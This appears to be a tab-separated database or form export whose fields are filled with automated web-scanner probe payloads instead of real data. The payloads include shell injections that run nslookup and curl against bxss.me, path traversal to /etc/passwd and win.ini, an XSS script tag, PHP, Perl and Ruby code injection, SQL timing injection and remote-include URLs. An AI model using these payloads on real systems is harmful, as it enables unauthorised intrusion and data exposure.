1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hitpahkdkitig13548.bxss.me||curl hitpahkdkitig13548.bxss.me)&'\""`0&(nslookup -q=cname hitpahkdkitig13548.bxss.me||curl hitpahkdkitig13548.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitrvtczlydlp18ea1.bxss.me||curl${IFS}hitrvtczlydlp18ea1.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'""()&%<zzz><ScRiPt >cND2(9664)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hittmfnimkoeef3d37.bxss.me||curl${IFS}hittmfnimkoeef3d37.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hittmfnimkoeef3d37.bxss.me||curl${IFS}hittmfnimkoeef3d37.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""".gethostbyname(lc(""hitkg"".""nyjnmibj91bad.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(101).chr(71).chr(97).chr(67)."""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	gethostbyname(lc('hitwm'.'nhcoljnx78284.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(69).chr(108).chr(76)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	gethostbyname(lc('hitbg'.'ykefjbby1ddad.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(79).chr(113).chr(82)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""".gethostbyname(lc(""hitzd"".""cbofqasn2e652.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(120).chr(67).chr(106).chr(89)."""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	gethostbyname(lc('hitmx'.'qcbbgttcdee88.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(85).chr(113).chr(67)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	HttP://bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://bxss.me/t/fit.txt%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+""A"".concat(70-3).concat(22*4).concat(97).concat(81).concat(113).concat(71)+(require""socket""
Socket.gethostbyname(""hitht""+""wokmxlru2aafb.bxss.me."")[3].to_s)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'+'A'.concat(70-3).concat(22*4).concat(110).concat(70).concat(107).concat(67)+(require'socket'
Socket.gethostbyname('hitfo'+'gdzgpssb8dd38.bxss.me.')[3].to_s)+'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'A'.concat(70-3).concat(22*4).concat(120).concat(80).concat(117).concat(73)+(require'socket'
Socket.gethostbyname('hitcf'+'csmjquyofcf1b.bxss.me.')[3].to_s)"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&echo amyjiw$()\ yhaeym\nz^xyu||a #' &echo amyjiw$()\ yhaeym\nz^xyu||a #|"" &echo amyjiw$()\ yhaeym\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	HttP://bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup -q=cname hitwnvorlizuif6757.bxss.me||curl hitwnvorlizuif6757.bxss.me)&'\""`0&(nslookup -q=cname hitwnvorlizuif6757.bxss.me||curl hitwnvorlizuif6757.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup -q=cname hitpqxdyfdmpg26681.bxss.me||curl hitpqxdyfdmpg26681.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""";print(md5(31337));$a="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitkrsiotlpdla4074.bxss.me||curl${IFS}hitkrsiotlpdla4074.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hithragtwemdz43b5e.bxss.me||curl${IFS}hithragtwemdz43b5e.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hithragtwemdz43b5e.bxss.me||curl${IFS}hithragtwemdz43b5e.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}\	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	HttP://bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	QWNBMlJEUzM=	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(113).concat(89).concat(109).concat(77)+(require'socket'
Socket.gethostbyname('hithx'+'blpzosdo12fa9.bxss.me.')[3].to_s)+'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(102).concat(67).concat(108).concat(68)+(require'socket'
Socket.gethostbyname('hitbi'+'lrzhnndv145c2.bxss.me.')[3].to_s)"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	WmZqZ1gzZ3E=	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	Tm91OTlsemc=	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	Y3lqNUFYS1g=	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""";print(md5(31337));$a="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102&n953058=v922062	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${@print(md5(31337))}\	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(112).concat(81).concat(104).concat(65)+(require""socket""
Socket.gethostbyname(""hitdu""+""hfbkmkgf5a7bf.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.print(md5(31337)).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(121).concat(86).concat(121).concat(87)+(require'socket'
Socket.gethostbyname('hitmp'+'sksftphcf779b.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU3edcaF4x' OR 428=(SELECT 428 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	';print(md5(31337));$a='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1&n946214=v954802	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(114).concat(88).concat(98).concat(73)+(require'socket'
Socket.gethostbyname('hitsd'+'rqsfgnfcb878e.bxss.me.')[3].to_s)+'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1&n942922=v940415	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	MXdabWEwVUM=	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+""A"".concat(70-3).concat(22*4).concat(113).concat(69).concat(106).concat(78)+(require""socket""
Socket.gethostbyname(""hitva""+""udmoqzoadcbae.bxss.me."")[3].to_s)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"echo ymawro$()\ muvqvg\nz^xyu||a #' &echo ymawro$()\ muvqvg\nz^xyu||a #|"" &echo ymawro$()\ muvqvg\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'+'A'.concat(70-3).concat(22*4).concat(118).concat(73).concat(121).concat(76)+(require'socket'
Socket.gethostbyname('hitup'+'vcabstmk5f990.bxss.me.')[3].to_s)+'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1&n945967=v992588	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(102).concat(85).concat(108).concat(66)+(require""socket""
Socket.gethostbyname(""hitzu""+""teobjtzb7b55f.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	expr 9000732237 - 956943	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(108).concat(90).concat(101).concat(67)+(require'socket'
Socket.gethostbyname('hitns'+'ierdonmac8305.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"echo wojzik$()\ jzwtfc\nz^xyu||a #' &echo wojzik$()\ jzwtfc\nz^xyu||a #|"" &echo wojzik$()\ jzwtfc\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&echo votrcm$()\ qgvewi\nz^xyu||a #' &echo votrcm$()\ qgvewi\nz^xyu||a #|"" &echo votrcm$()\ qgvewi\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"|echo ughdls$()\ lfwufk\nz^xyu||a #' |echo ughdls$()\ lfwufk\nz^xyu||a #|"" |echo ughdls$()\ lfwufk\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*bmoigp&&'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	expr 9000411618 - 951045	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitqthogrpjtyeea17.bxss.me||curl${IFS}hitqthogrpjtyeea17.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqthogrpjtyeea17.bxss.me||curl${IFS}hitqthogrpjtyeea17.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*tufaax&&"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(nslookup -q=cname hitutfeodsedub8dfc.bxss.me||curl hitutfeodsedub8dfc.bxss.me))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*qsltqf||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	$(nslookup -q=cname hityxflwdpvuxbda70.bxss.me||curl hityxflwdpvuxbda70.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*qzsrhe||"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&nslookup -q=cname hitnvtfifhwyg94461.bxss.me&'\""`0&nslookup -q=cname hitnvtfifhwyg94461.bxss.me&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&(nslookup -q=cname hitkgelbnmfxea0e4b.bxss.me||curl hitkgelbnmfxea0e4b.bxss.me)&'\""`0&(nslookup -q=cname hitkgelbnmfxea0e4b.bxss.me||curl hitkgelbnmfxea0e4b.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup -q=cname hitggipzryulk02832.bxss.me||curl hitggipzryulk02832.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	`(nslookup -q=cname hitnttbuhdcxna5748.bxss.me||curl hitnttbuhdcxna5748.bxss.me)`	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;(nslookup -q=cname hitcrdmdgbbio22d3a.bxss.me||curl hitcrdmdgbbio22d3a.bxss.me)|(nslookup -q=cname hitcrdmdgbbio22d3a.bxss.me||curl hitcrdmdgbbio22d3a.bxss.me)&(nslookup -q=cname hitcrdmdgbbio22d3a.bxss.me||curl hitcrdmdgbbio22d3a.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup${IFS}-q${IFS}cname${IFS}hitimbiygqtac5ce00.bxss.me||curl${IFS}hitimbiygqtac5ce00.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitpsfugrzivqd07b5.bxss.me||curl${IFS}hitpsfugrzivqd07b5.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpsfugrzivqd07b5.bxss.me||curl${IFS}hitpsfugrzivqd07b5.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
